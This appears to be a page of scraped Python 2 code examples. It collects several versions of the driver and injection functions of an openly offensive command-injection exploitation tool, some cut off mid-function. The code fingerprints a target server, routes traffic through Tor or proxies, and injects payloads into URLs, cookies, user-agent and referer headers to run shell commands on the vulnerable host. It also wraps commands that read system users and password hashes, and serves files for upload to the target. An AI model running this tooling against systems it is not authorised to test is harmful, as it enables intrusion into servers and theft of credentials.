                            error_msg = "(^) Warning: The '--passwords' option, is not yet available for Windows targets."
                            if menu.options.passwords:
                                print Fore.YELLOW + "(^) Warning: The '--passwords' option, is not yet available for Windows targets." + Style.RESET_ALL
                            if menu.options.file_upload:
                                print Fore.YELLOW + "(^) Warning: The '--file-upload' option, is not yet available for windows targets. Instead, use the '--file-write' option." + Style.RESET_ALL
                                sys.exit(0)
                        else:
                            if menu.options.is_admin:
                                print Fore.YELLOW + "(^) Warning: Swithing the '--is-admin' to '--is-root' because the taget has been identified as unix-like. " + Style.RESET_ALL
                        if found_os_server == False:
                            # If "--shellshock" option is provided then,
                            # by default is a Linux/Unix operating system.
                            if menu.options.shellshock:
                                pass
                            else:
                                print Fore.YELLOW + "(^) Warning: Heuristics have failed to identify server's operating system." + Style.RESET_ALL
                                while True:
                                    got_os = raw_input(
                                        "(?) Do you recognise the server's operating system? [(W)indows/(U)nix/(q)uit] > "
                                    ).lower()
                                    if got_os.lower() in settings.CHOISE_OS:
                                        if got_os.lower() == "w":
                                            settings.TARGET_OS == "win"
                                            break
                                        elif got_os.lower() == "u":
                                            break
                                        elif got_os.lower() == "q":
                                            raise SystemExit()
                                    else:
                                        if got_os == "":
                                            got_os = "enter"
                                        print Back.RED + "(x) Error: '" + got_os + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                        if found_server_banner == False:
                            print Fore.YELLOW + "(^) Warning: The server which was identified as " + server_banner + " seems unknown." + Style.RESET_ALL
                except KeyError:
                    pass

                # Charset detection [1].
                # [1] http://www.w3schools.com/html/html_charset.asp
                # Check if HTML4 format
                content = re.findall(r";charset=(.*)\"", html_data)
                if len(content) != 0:
                    charset = content
                else:
                    # Check if HTML5 format
                    charset = re.findall(r"charset=['\"](.*?)['\"]", html_data)
                if len(charset) != 0:
                    settings.CHARSET = charset[len(charset) - 1]
                    if settings.CHARSET.lower() not in settings.CHARSET_LIST:
                        print Fore.YELLOW + "(^) Warning: The indicated web-page charset " + settings.CHARSET + " seems unknown." + Style.RESET_ALL
                    else:
                        if menu.options.verbose:
                            print Style.BRIGHT + "(!) The indicated web-page charset appears to be " + Style.UNDERLINE + settings.CHARSET + Style.RESET_ALL + "." + Style.RESET_ALL

            except urllib2.HTTPError, e:
                print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"

                # Check the codes of responses
                if e.getcode() == 500:
                    content = e.read()
                    sys.exit(0)

                elif e.getcode() == 401:
                    if menu.options.auth_type != "basic":
                        print Back.RED + "(x) Error: Only 'Basic' Access Authentication is supported." + Style.RESET_ALL
                        sys.exit(0)
                    else:
                        print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL
                        sys.exit(0)

                elif e.getcode() == 403:
                    print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL
                    sys.exit(0)

                elif e.getcode() == 404:
                    print Back.RED + "(x) Error: The host seems to be down!" + Style.RESET_ALL
                    sys.exit(0)

                else:
                    raise

            except urllib2.URLError, e:
                print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                print Back.RED + "(x) Error: The host seems to be down!" + Style.RESET_ALL
                sys.exit(0)
Exemplo n.º 21
0
def main():
    try:
        # Check if defined "--version" option.
        if menu.options.version:
            version.show_version()
            sys.exit(0)

        # Checkall the banner
        menu.banner()

        # Check python version number.
        version.python_version()

        # Check if defined "--dependencies" option.
        # For checking (non-core) third party dependenices.
        if menu.options.noncore_dependencies:
            checks.third_party_dependencies()
            sys.exit(0)

        # Check if defined "--update" option.
        if menu.options.update:
            update.updater()
            sys.exit(0)

        # Check if defined "--install" option.
        if menu.options.install:
            install.installer()
            sys.exit(0)

        # Check arguments
        if len(sys.argv) == 1:
            menu.parser.print_help()
            print ""
            sys.exit(0)

        # Define the level of verbosity.
        if menu.options.verbose > 1:
            err_msg = "The value for option '-v' "
            err_msg += "must be an integer value from range [0, 1]."
            print settings.print_critical_msg(err_msg)
            sys.exit(0)
        else:
            settings.VERBOSITY_LEVEL = menu.options.verbose

        # Check if defined "--delay" option.
        if menu.options.delay:
            if menu.options.delay > "0":
                settings.DELAY = menu.options.delay

        # Define the level of tests to perform.
        if menu.options.level > 3:
            err_msg = "The value for option '--level' "
            err_msg += "must be an integer value from range [1, 3]."
            print settings.print_critical_msg(err_msg)
            sys.exit(0)

        # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab).
        if menu.options.logfile:
            parser.logfile_parser()

        # Check provided parameters for tests
        if menu.options.test_parameter:
            if menu.options.test_parameter.startswith("="):
                menu.options.test_parameter = menu.options.test_parameter[1:]
            settings.TEST_PARAMETER = menu.options.test_parameter.split(
                settings.PARAMETER_SPLITTING_REGEX)
            for i in range(0, len(settings.TEST_PARAMETER)):
                if "=" in settings.TEST_PARAMETER[i]:
                    settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[
                        i].split("=")[0]

        # Check if defined character used for splitting parameter values.
        if menu.options.pdel:
            settings.PARAMETER_DELIMITER = menu.options.pdel

        # Check if defined character used for splitting cookie values.
        if menu.options.cdel:
            settings.COOKIE_DELIMITER = menu.options.cdel

        # Check if specified wrong injection technique
        if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
            found_tech = False
            # Convert injection technique(s) to lowercase
            menu.options.tech = menu.options.tech.lower()
            # Check if used the ',' separator
            if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech:
                split_techniques_names = menu.options.tech.split(
                    settings.PARAMETER_SPLITTING_REGEX)
            else:
                split_techniques_names = menu.options.tech.split()
            if split_techniques_names:
                for i in range(0, len(split_techniques_names)):
                    if len(menu.options.tech) <= 4:
                        split_first_letter = list(menu.options.tech)
                        for j in range(0, len(split_first_letter)):
                            if split_first_letter[
                                    j] in settings.AVAILABLE_TECHNIQUES:
                                found_tech = True
                            else:
                                found_tech = False

            if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \
               found_tech == False:
                err_msg = "You specified wrong value '" + split_techniques_names[
                    i]
                err_msg += "' as injection technique. "
                err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, "
                err_msg += "(T)ime-based, (F)ile-based (with or without commas)."
                print settings.print_critical_msg(err_msg)
                sys.exit(0)

        # Check if specified wrong alternative shell
        if menu.options.alter_shell:
            if menu.options.alter_shell.lower(
            ) not in settings.AVAILABLE_SHELLS:
                err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
                print settings.print_critical_msg(err_msg)
                sys.exit(0)

        # Check the file-destination
        if menu.options.file_write and not menu.options.file_dest or \
        menu.options.file_upload  and not menu.options.file_dest:
            err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)."
            print settings.print_critical_msg(err_msg)
            sys.exit(0)

        if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None:
            err_msg = "You must enter the '--file-write' or '--file-upload' parameter."
            print settings.print_critical_msg(err_msg)
            sys.exit(0)

        # Check if defined "--random-agent" option.
        if menu.options.random_agent:
            menu.options.agent = random.choice(settings.USER_AGENT_LIST)

        # Check if defined "--url" option.
        if menu.options.url:
            url = menu.options.url

            # Check if http / https
            url = checks.check_http_s(url)

            if menu.options.output_dir:
                output_dir = menu.options.output_dir
            else:
                output_dir = settings.OUTPUT_DIR

            # One directory up, if Windows or if the script is being run under "/src".
            if settings.IS_WINDOWS or "/src" in os.path.dirname(
                    os.path.abspath(__file__)):
                os.chdir("..")

            output_dir = os.path.dirname(output_dir)

            try:
                os.stat(output_dir)
            except:
                os.mkdir(output_dir)

            # The logs filename construction.
            filename = logs.create_log_file(url, output_dir)
            try:

                # Check if defined POST data
                if menu.options.data:
                    request = urllib2.Request(url, menu.options.data)
                else:
                    request = urllib2.Request(url)

                headers.do_check(request)

                # Check if defined any HTTP Proxy (--proxy option).
                if menu.options.proxy:
                    proxy.do_check(url)

                # Check if defined Tor (--tor option).
                elif menu.options.tor:
                    tor.do_check()
                info_msg = "Checking connection to the target URL... "
                sys.stdout.write(settings.print_info_msg(info_msg))
                sys.stdout.flush()

                try:
                    # Check if defined any HTTP Proxy (--proxy option).
                    if menu.options.proxy:
                        response = proxy.use_proxy(request)
                    # Check if defined Tor (--tor option).
                    elif menu.options.tor:
                        response = tor.use_tor(request)
                    else:
                        try:
                            response = urllib2.urlopen(request)
                        except ValueError:
                            # Invalid format for the '--headers' option.
                            print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                            err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' "
                            err_msg += "to provide an HTTP header or"
                            err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' "
                            err_msg += "if you want to try to exploit the provided HTTP header."
                            print settings.print_critical_msg(err_msg)
                            sys.exit(0)
                except:
                    raise

                html_data = content = response.read()
                print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"

                # Check for CGI scripts on url
                checks.check_CGI_scripts(url)

                # Modification on payload
                if not menu.options.shellshock:
                    #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
                    settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")"
                    settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")"

                # Check if defined "--file-upload" option.
                if menu.options.file_upload:
                    if not re.match(settings.VALID_URL_FORMAT,
                                    menu.options.file_upload):
                        # Check if not defined URL for upload.
                        while True:
                            question_msg = "Do you want to enable an HTTP server? [Y/n/q] > "
                            sys.stdout.write(
                                settings.print_question_msg(question_msg))
                            enable_HTTP_server = sys.stdin.readline().replace(
                                "\n", "").lower()
                            if enable_HTTP_server in settings.CHOICE_YES:
                                # Check if file exists
                                if not os.path.isfile(
                                        menu.options.file_upload):
                                    err_msg = "The '" + menu.options.file_upload + "' file, does not exists."
                                    sys.stdout.write(
                                        settings.print_critical_msg(err_msg) +
                                        "\n")
                                    sys.exit(0)
                                http_server = "http://" + str(
                                    settings.LOCAL_HTTP_IP) + ":" + str(
                                        settings.LOCAL_HTTP_PORT) + "/"
                                info_msg = "Setting the HTTP server on '" + http_server + "'. "
                                print settings.print_info_msg(info_msg)
                                menu.options.file_upload = http_server + menu.options.file_upload
                                simple_http_server.main()
                                break
                            elif enable_HTTP_server in settings.CHOICE_NO:
                                if not re.match(settings.VALID_URL_FORMAT,
                                                menu.options.file_upload):
                                    err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. "
                                    print settings.print_critical_msg(err_msg)
                                    sys.exit(0)
                                break
                            elif enable_HTTP_server in settings.CHOICE_QUIT:
                                sys.exit(0)
                            else:
                                if enable_HTTP_server == "":
                                    enable_HTTP_server = "enter"
                                err_msg = "'" + enable_HTTP_server + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass
                    try:
                        urllib2.urlopen(menu.options.file_upload)
                    except urllib2.HTTPError, err:
                        print settings.print_critical_msg(err)
                        sys.exit(0)
                    except urllib2.URLError, err:
                        print settings.print_critical_msg(err)
                        sys.exit(0)

                # Used a valid pair of valid credentials
                if menu.options.auth_cred:
                    success_msg = Style.BRIGHT + "Identified a valid pair of credentials '"
                    success_msg += menu.options.auth_cred + Style.RESET_ALL
                    success_msg += Style.BRIGHT + "'." + Style.RESET_ALL
                    print settings.print_success_msg(success_msg)

                try:
                    if response.info()['server']:
                        server_banner = response.info()['server']
                        found_os_server = False
                        if menu.options.os and checks.user_defined_os():
                            user_defined_os = settings.TARGET_OS

                        for i in range(0, len(settings.SERVER_OS_BANNERS)):
                            if settings.SERVER_OS_BANNERS[i].lower(
                            ) in server_banner.lower():
                                found_os_server = True
                                settings.TARGET_OS = settings.SERVER_OS_BANNERS[
                                    i].lower()
                                if settings.TARGET_OS == "win" or settings.TARGET_OS == "microsoft":
                                    identified_os = "Windows"
                                    if menu.options.os and user_defined_os != "win":
                                        if not checks.identified_os():
                                            settings.TARGET_OS = user_defined_os

                                    settings.TARGET_OS = identified_os[:
                                                                       3].lower(
                                                                       )
                                    if menu.options.shellshock:
                                        err_msg = "The shellshock module is not available for "
                                        err_msg += identified_os + " targets."
                                        print settings.print_critical_msg(
                                            err_msg)
                                        raise SystemExit()
                                else:
                                    identified_os = "Unix-like (" + settings.TARGET_OS + ")"
                                    if menu.options.os and user_defined_os == "win":
                                        if not checks.identified_os():
                                            settings.TARGET_OS = user_defined_os

                        found_server_banner = False
                        if settings.VERBOSITY_LEVEL >= 1:
                            info_msg = "Identifying the target server... "
                            sys.stdout.write(settings.print_info_msg(info_msg))
                            sys.stdout.flush()

                        for i in range(0, len(settings.SERVER_BANNERS)):
                            if settings.SERVER_BANNERS[i].lower(
                            ) in server_banner.lower():
                                if settings.VERBOSITY_LEVEL >= 1:
                                    print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
                                if settings.VERBOSITY_LEVEL >= 1:
                                    success_msg = "The server was identified as "
                                    success_msg += server_banner + Style.RESET_ALL + "."
                                    print settings.print_success_msg(
                                        success_msg)
                                settings.SERVER_BANNER = server_banner
                                found_server_banner = True
                                # Set up default root paths
                                if settings.SERVER_BANNERS[i].lower(
                                ) == "apache":
                                    if settings.TARGET_OS == "win":
                                        settings.SRV_ROOT_DIR = "\\htdocs"
                                    else:
                                        settings.SRV_ROOT_DIR = "/var/www"
                                if settings.SERVER_BANNERS[i].lower(
                                ) == "nginx":
                                    settings.SRV_ROOT_DIR = "/usr/share/nginx"
                                if settings.SERVER_BANNERS[i].lower(
                                ) == "microsoft-iis":
                                    settings.SRV_ROOT_DIR = "\\inetpub\\wwwroot"
                                break

                        if not found_server_banner:
                            if settings.VERBOSITY_LEVEL >= 1:
                                print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                            warn_msg = "Heuristics have failed to identify server."
                            print settings.print_warning_msg(warn_msg)

                        # Load tamper scripts
                        if menu.options.tamper:
                            checks.tamper_scripts()

                        # Store the Server's root dir
                        settings.DEFAULT_SRV_ROOT_DIR = settings.SRV_ROOT_DIR

                        if menu.options.is_admin or menu.options.is_root and not menu.options.current_user:
                            menu.options.current_user = True

                        # Check for wrong flags.
                        if settings.TARGET_OS == "win":
                            if menu.options.is_root:
                                warn_msg = "Swithing '--is-root' to '--is-admin' because the "
                                warn_msg += "target has been identified as windows."
                                print settings.print_warning_msg(warn_msg)
                            if menu.options.passwords:
                                warn_msg = "The '--passwords' option, is not yet available for Windows targets."
                                print settings.print_warning_msg(warn_msg)
                            if menu.options.file_upload:
                                warn_msg = "The '--file-upload' option, is not yet available for windows targets. "
                                warn_msg += "Instead, use the '--file-write' option."
                                print settings.print_warning_msg(warn_msg)
                                sys.exit(0)
                        else:
                            if menu.options.is_admin:
                                warn_msg = "Swithing the '--is-admin' to '--is-root' because "
                                warn_msg += "the target has been identified as unix-like. "
                                print settings.print_warning_msg(warn_msg)

                        if found_os_server == False and \
                           not menu.options.os:
                            # If "--shellshock" option is provided then,
                            # by default is a Linux/Unix operating system.
                            if menu.options.shellshock:
                                pass
                            else:
                                warn_msg = "Heuristics have failed to identify server's operating system."
                                print settings.print_warning_msg(warn_msg)
                                while True:
                                    question_msg = "Do you recognise the server's operating system? "
                                    question_msg += "[(W)indows/(U)nix/(q)uit] > "
                                    sys.stdout.write(
                                        settings.print_question_msg(
                                            question_msg))
                                    got_os = sys.stdin.readline().replace(
                                        "\n", "").lower()
                                    if got_os.lower() in settings.CHOICE_OS:
                                        if got_os.lower() == "w":
                                            settings.TARGET_OS = "win"
                                            break
                                        elif got_os.lower() == "u":
                                            break
                                        elif got_os.lower() == "q":
                                            raise SystemExit()
                                    else:
                                        if got_os == "":
                                            got_os = "enter"
                                        err_msg = "'" + got_os + "' is not a valid answer."
                                        print settings.print_error_msg(err_msg)
                                        pass

                        if not menu.options.os:
                            if found_server_banner == False:
                                warn_msg = "The server which was identified as "
                                warn_msg += server_banner + " seems unknown."
                                print settings.print_warning_msg(warn_msg)
                    else:
                        found_os_server = checks.user_defined_os()
                except KeyError:
                    pass

                # Charset detection.
                requests.charset_detection(response)
Exemplo n.º 22
0
def injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, filename):
  
  # Execute shell commands on vulnerable host.
  payload = eb_payloads.cmd_execution(separator, TAG, cmd)

  # Fix prefixes / suffixes
  payload = parameters.prefixes(payload, prefix)
  payload = parameters.suffixes(payload, suffix)
  # Fixation for specific payload.
  if ")%3B" + urllib.quote(")}") in payload:
    payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))

  if menu.options.base64:
    payload = urllib.unquote(payload)
    payload = base64.b64encode(payload)
  else:
    payload = re.sub(" ", "%20", payload)

  # Check if defined "--verbose" option.
  if menu.options.verbose:
    sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL)

  # Check if defined cookie with "INJECT_HERE" tag
  if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
    response = cookie_injection_test(url, vuln_parameter, payload)

   # Check if defined user-agent with "INJECT_HERE" tag
  elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
    response = user_agent_injection_test(url, vuln_parameter, payload)

  # Check if defined referer with "INJECT_HERE" tag
  elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
    response = referer_injection_test(url, vuln_parameter, payload)

  else:
    # Check if defined method is GET (Default).
    if http_request_method == "GET":
      # Check if its not specified the 'INJECT_HERE' tag
      #url = parameters.do_GET_check(url)
      
      target = re.sub(settings.INJECT_TAG, payload, url)
      vuln_parameter = ''.join(vuln_parameter)
      request = urllib2.Request(target)
      
      # Check if defined extra headers.
      headers.do_check(request)        
        
      # Check if defined any HTTP Proxy.
      if menu.options.proxy:
        try:
          response = proxy.use_proxy(request)
        except urllib2.HTTPError, err:
          print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
          raise SystemExit() 

      # Check if defined Tor.
      elif menu.options.tor:
        try:
          response = tor.use_tor(request)
        except urllib2.HTTPError, err:
          print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
          raise SystemExit() 

      else:
Exemplo n.º 23
0
def injection(separator, maxlen, TAG, cmd, delay, http_request_method, url,
              vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
    if menu.options.file_write or menu.options.file_upload:
        minlen = 0
    else:
        minlen = 1

    found_chars = False
    sys.stdout.write("\n(*) Retrieving the length of execution output... ")
    sys.stdout.flush()
    for output_length in range(int(minlen), int(maxlen)):

        # Execute shell commands on vulnerable host.
        if not alter_shell:
            payload = tfb_payloads.cmd_execution(separator, cmd, output_length,
                                                 OUTPUT_TEXTFILE, delay,
                                                 http_request_method)
        else:
            payload = tfb_payloads.cmd_execution_alter_shell(
                separator, cmd, output_length, OUTPUT_TEXTFILE, delay,
                http_request_method)

        # Check if defined "--verbose" option.
        if menu.options.verbose:
            sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") +
                             Style.RESET_ALL)

        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
            how_long = cookie_injection_test(url, vuln_parameter, payload)

        else:
            start = 0
            end = 0
            start = time.time()

            # Check if defined method is GET (Default).
            if http_request_method == "GET":
                payload = urllib.quote(payload)

                # Check if its not specified the 'INJECT_HERE' tag
                url = parameters.do_GET_check(url)

                target = re.sub(settings.INJECT_TAG, payload, url)
                vuln_parameter = ''.join(vuln_parameter)

                #print target
                request = urllib2.Request(target)

                # Check if defined extra headers.
                headers.do_check(request)

                # Check if defined any HTTP Proxy.
                if menu.options.proxy:
                    try:
                        response = proxy.use_proxy(request)
                    except urllib2.HTTPError, err:
                        print "\n" + Back.RED + "(x) Error : " + str(
                            err) + Style.RESET_ALL
                        raise SystemExit()

                # Check if defined Tor.
                elif menu.options.tor:
                    try:
                        response = tor.use_tor(request)
                    except urllib2.HTTPError, err:
                        print "\n" + Back.RED + "(x) Error : " + str(
                            err) + Style.RESET_ALL
                        raise SystemExit()

                else:
                    try:
                        response = urllib2.urlopen(request)
                    except urllib2.HTTPError, err:
                        print "\n" + Back.RED + "(x) Error : " + str(
                            err) + Style.RESET_ALL
                        raise SystemExit()
Exemplo n.º 24
0
def main(filename, url):
    try:

        # Ignore the mathematic calculation part (Detection phase).
        if menu.options.skip_calc:
            settings.SKIP_CALC = True

        # Target URL reload.
        if menu.options.url_reload and menu.options.data:
            settings.URL_RELOAD = True

        # Check provided parameters for tests
        if menu.options.test_parameter:
            if menu.options.test_parameter.startswith("="):
                menu.options.test_parameter = menu.options.test_parameter[1:]
            settings.TEST_PARAMETER = menu.options.test_parameter.split(
                settings.PARAMETER_SPLITTING_REGEX)
            for i in range(0, len(settings.TEST_PARAMETER)):
                if "=" in settings.TEST_PARAMETER[i]:
                    settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[
                        i].split("=")[0]

        # Check if defined character used for splitting parameter values.
        if menu.options.pdel:
            settings.PARAMETER_DELIMITER = menu.options.pdel

        # Check if defined character used for splitting cookie values.
        if menu.options.cdel:
            settings.COOKIE_DELIMITER = menu.options.cdel

        # Check if specified wrong injection technique
        if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES:
            found_tech = False
            # Convert injection technique(s) to lowercase
            menu.options.tech = menu.options.tech.lower()
            # Check if used the ',' separator
            if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech:
                split_techniques_names = menu.options.tech.split(
                    settings.PARAMETER_SPLITTING_REGEX)
            else:
                split_techniques_names = menu.options.tech.split()
            if split_techniques_names:
                for i in range(0, len(split_techniques_names)):
                    if len(menu.options.tech) <= 4:
                        split_first_letter = list(menu.options.tech)
                        for j in range(0, len(split_first_letter)):
                            if split_first_letter[
                                    j] in settings.AVAILABLE_TECHNIQUES:
                                found_tech = True
                            else:
                                found_tech = False

            if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \
               found_tech == False:
                err_msg = "You specified wrong value '" + split_techniques_names[
                    i]
                err_msg += "' as injection technique. "
                err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, "
                err_msg += "(T)ime-based, (F)ile-based (with or without commas)."
                print settings.print_critical_msg(err_msg)
                sys.exit(0)

        # Check if specified wrong alternative shell
        if menu.options.alter_shell:
            if menu.options.alter_shell.lower(
            ) not in settings.AVAILABLE_SHELLS:
                err_msg = "'" + menu.options.alter_shell + "' shell is not supported!"
                print settings.print_critical_msg(err_msg)
                sys.exit(0)

        # Check the file-destination
        if menu.options.file_write and not menu.options.file_dest or \
        menu.options.file_upload  and not menu.options.file_dest:
            err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)."
            print settings.print_critical_msg(err_msg)
            sys.exit(0)

        if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None:
            err_msg = "You must enter the '--file-write' or '--file-upload' parameter."
            print settings.print_critical_msg(err_msg)
            sys.exit(0)

        # Check if defined "--random-agent" option.
        if menu.options.random_agent:
            menu.options.agent = random.choice(settings.USER_AGENT_LIST)

        # Check if defined "--url" or "-m" option.
        if url:
            # Check if http / https
            url = checks.check_http_s(url)

            # Load the crawler
            if menu.options.crawldepth > 0 or menu.options.sitemap_url:
                if menu.options.crawldepth > 0:
                    menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth
                else:
                    if menu.options.sitemap_url:
                        while True:
                            if not menu.options.batch:
                                question_msg = "Do you want to change the crawling depth level? [Y/n] > "
                                sys.stdout.write(
                                    settings.print_question_msg(question_msg))
                                change_depth_level = sys.stdin.readline(
                                ).replace("\n", "").lower()
                            else:
                                change_depth_level = ""
                            if len(change_depth_level) == 0:
                                change_depth_level = "y"
                            if change_depth_level in settings.CHOICE_YES or change_depth_level in settings.CHOICE_NO:
                                break
                            elif change_depth_level in settings.CHOICE_QUIT:
                                sys.exit(0)
                            else:
                                err_msg = "'" + change_depth_level + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass

                        # Change the crawling depth level.
                        if change_depth_level in settings.CHOICE_YES:
                            while True:
                                question_msg = "Please enter the crawling depth level (1-2) > "
                                sys.stdout.write(
                                    settings.print_question_msg(question_msg))
                                depth_level = sys.stdin.readline().replace(
                                    "\n", "").lower()
                                if int(depth_level) >= 3:
                                    err_msg = "Depth level '" + depth_level + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                                else:
                                    menu.options.DEFAULT_CRAWLDEPTH_LEVEL = depth_level
                                    break

                # Crawl the url.
                url = crawler.crawler(url)

            try:
                # Check if defined POST data
                if menu.options.data:
                    request = urllib2.Request(url, menu.options.data)
                else:
                    request = urllib2.Request(url)

                headers.do_check(request)
                #headers.check_http_traffic(request)
                # Check if defined any HTTP Proxy (--proxy option).
                if menu.options.proxy:
                    proxy.do_check(url)

                # Check if defined Tor (--tor option).
                elif menu.options.tor:
                    tor.do_check()

                if menu.options.flush_session:
                    session_handler.flush(url)

                info_msg = "Checking connection to the target URL... "
                sys.stdout.write(settings.print_info_msg(info_msg))
                sys.stdout.flush()
                if settings.VERBOSITY_LEVEL >= 2:
                    print ""

                headers.check_http_traffic(request)

                try:
                    # Check if defined any HTTP Proxy (--proxy option).
                    if menu.options.proxy:
                        response = proxy.use_proxy(request)
                    # Check if defined Tor (--tor option).
                    elif menu.options.tor:
                        response = tor.use_tor(request)
                    else:
                        try:
                            response = urllib2.urlopen(request)
                        except ValueError:
                            # Invalid format for the '--headers' option.
                            if settings.VERBOSITY_LEVEL < 2:
                                print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                            err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' "
                            err_msg += "to provide an HTTP header or"
                            err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' "
                            err_msg += "if you want to try to exploit the provided HTTP header."
                            print settings.print_critical_msg(err_msg)
                            sys.exit(0)

                except urllib2.HTTPError, e:
                    if settings.VERBOSITY_LEVEL < 2:
                        print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
                    err_msg = str(e).replace(": ", " (") + ")."
                    print settings.print_critical_msg(err_msg)
                    raise SystemExit

                html_data = content = response.read()
                if settings.VERBOSITY_LEVEL < 2:
                    print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"

                # Check for CGI scripts on url
                checks.check_CGI_scripts(url)

                # Modification on payload
                if not menu.options.shellshock:
                    #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
                    settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")"
                    settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")"

                # Check if defined "--file-upload" option.
                if menu.options.file_upload:
                    if not re.match(settings.VALID_URL_FORMAT,
                                    menu.options.file_upload):
                        # Check if not defined URL for upload.
                        while True:
                            if not menu.options.batch:
                                question_msg = "Do you want to enable an HTTP server? [Y/n] > "
                                sys.stdout.write(
                                    settings.print_question_msg(question_msg))
                                enable_HTTP_server = sys.stdin.readline(
                                ).replace("\n", "").lower()
                            else:
                                enable_HTTP_server == ""
                            if len(enable_HTTP_server) == 0:
                                enable_HTTP_server = "y"
                            if enable_HTTP_server in settings.CHOICE_YES:
                                # Check if file exists
                                if not os.path.isfile(
                                        menu.options.file_upload):
                                    err_msg = "The '" + menu.options.file_upload + "' file, does not exists."
                                    sys.stdout.write(
                                        settings.print_critical_msg(err_msg) +
                                        "\n")
                                    sys.exit(0)

                                if settings.LOCAL_HTTP_IP == None:
                                    while True:
                                        question_msg = "Please enter your interface IP address > "
                                        sys.stdout.write(
                                            settings.print_question_msg(
                                                question_msg))
                                        ip_addr = sys.stdin.readline().replace(
                                            "\n", "").lower()

                                        # check if IP address is valid
                                        ip_check = simple_http_server.is_valid_ipv4(
                                            ip_addr)
                                        if ip_check == False:
                                            err_msg = "The provided IP address seems not valid."
                                            print settings.print_error_msg(
                                                err_msg)
                                            pass
                                        else:
                                            settings.LOCAL_HTTP_IP = ip_addr
                                            break

                                http_server = "http://" + str(
                                    settings.LOCAL_HTTP_IP) + ":" + str(
                                        settings.LOCAL_HTTP_PORT) + "/"
                                info_msg = "Setting the HTTP server on '" + http_server + "'. "
                                print settings.print_info_msg(info_msg)
                                menu.options.file_upload = http_server + menu.options.file_upload
                                simple_http_server.main()
                                break
                            elif enable_HTTP_server in settings.CHOICE_NO:
                                if not re.match(settings.VALID_URL_FORMAT,
                                                menu.options.file_upload):
                                    err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. "
                                    print settings.print_critical_msg(err_msg)
                                    sys.exit(0)
                                break
                            elif enable_HTTP_server in settings.CHOICE_QUIT:
                                sys.exit(0)
                            else:
                                err_msg = "'" + enable_HTTP_server + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass
                    try:
                        urllib2.urlopen(menu.options.file_upload)
                    except urllib2.HTTPError, err_msg:
                        print settings.print_critical_msg(str(err_msg.code))
                        sys.exit(0)
                    except urllib2.URLError, err_msg:
                        print settings.print_critical_msg(
                            str(err_msg.args[0]).split("] ")[1] + ".")
                        sys.exit(0)
Exemplo n.º 25
0
def main():
  try:
    # Checkall the banner
    menu.banner()
        
    # Check python version number.
    version.python_version()
    
    # Check if defined "--version" option.
    if menu.options.version:
      version.show_version()
      sys.exit(0)
        
    # Check if defined "--update" option.        
    if menu.options.update:
      update.updater()
      sys.exit(0)
        
    # Check if defined "--install" option.        
    if menu.options.install:
      install.installer()
      sys.exit(0)
    
    # Check arguments
    if len(sys.argv) == 1:
      menu.parser.print_help()
      print ""
      sys.exit(0)

    # Modification on payload
    if not menu.options.shellshock:
      #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")"
      settings.SYS_USERS  = "echo $(" + settings.SYS_USERS + ")"
      settings.SYS_PASSES  = "echo $(" + settings.SYS_PASSES + ")"

    # Check if defined character used for splitting parameter values.
    if menu.options.pdel:
